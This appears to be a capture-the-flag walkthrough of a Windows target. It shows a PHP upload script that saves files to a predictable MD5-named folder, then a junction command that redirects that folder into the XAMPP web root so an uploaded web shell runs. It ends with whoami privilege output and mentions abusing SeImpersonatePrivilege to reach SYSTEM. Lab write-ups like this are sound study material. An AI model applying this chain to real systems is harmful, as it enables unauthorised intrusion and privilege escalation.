During the enumeration the tester found and PHP file that create a folder with the name firstname, lastname and email as md5hash into C:/Windows/Tasks/Uploads/ and store all the uploaded files into it.
<?php
error_reporting(0);
// Your PHP code for handling form submission and file upload goes here.
$uploadDir = 'C:/Windows/Tasks/Uploads/'; // Base upload directory
if ($_SERVER["REQUEST_METHOD"] == "POST" && isset($_FILES["fileToUpload"])) {
$firstname = filter_var($_POST["firstname"], FILTER_SANITIZE_STRING);
$lastname = filter_var($_POST["lastname"], FILTER_SANITIZE_STRING);
$email = filter_var($_POST["email"], FILTER_SANITIZE_STRING);
// Create a folder name using the MD5 hash of Firstname + Lastname + Email
$folderName = md5($firstname . $lastname . $email);
// Create the full upload directory path
$targetDir = $uploadDir . $folderName . '/';
// Ensure the directory exists; create it if not
if (!file_exists($targetDir)) {
mkdir($targetDir, 0777, true);
}
// Sanitize the filename to remove unsafe characters
$originalFilename = $_FILES["fileToUpload"]["name"];
$sanitizedFilename = preg_replace("/[^a-zA-Z0-9._]/", "", $originalFilename);
// Build the full path to the target file
$targetFile = $targetDir . $sanitizedFilename;
if (move_uploaded_file($_FILES["fileToUpload"]["tmp_name"], $targetFile)) {
echo "<script>alert('Your application was successfully submitted. Our HR shall review your video and get back to you.');</script>";
// Update the todo.txt file
$todoFile = $uploadDir . 'todo.txt';
$todoContent = "Filename: " . $originalFilename . ", Random Variable: " . $folderName . "\n";
// Append the new line to the file
file_put_contents($todoFile, $todoContent, FILE_APPEND);
} else {
echo "<script>alert('Uh oh, something went wrong... Please submit again');</script>";
}
}
?>
The filename is predictible and can be exploitable via Symlinks on Windows to rediret all the files (PHP Web Shell) into C:\xampp\htdocs and obtain a Reverse Shell into the system.
Obtaining the directory name and creating the php web shell.
Creating the Symlinks to point to the web root directory
enox@MEDIA C:\Users>mklink /J "C:/Windows/Tasks/Uploads/44b85c98e94039c8a0a015f6d3a3449e/" "C:\xampp\htdocs"
Junction created for C:/Windows/Tasks/Uploads/44b85c98e94039c8a0a015f6d3a3449e/ <<===>> C:\xampp\htdocs
Uploading the malicious php web shell
Accessing the php web shell as local service
Privilege Escalation to NT Authority System
PS C:\Users> whoami /priv
PRIVILEGES INFORMATION
----------------------
Privilege Name Description State
============================= =================================== ========
SeTcbPrivilege Act as part of the operating system Disabled
SeChangeNotifyPrivilege Bypass traverse checking Enabled
SeCreateGlobalPrivilege Create global objects Enabled
SeIncreaseWorkingSetPrivilege Increase a process working set Disabled
SeTimeZonePrivilege Change the time zone Disabled
PS C:\Users>
Abusing SeImpersonatePrivilege to compromise computer.
Using to enable all the default token for service account.
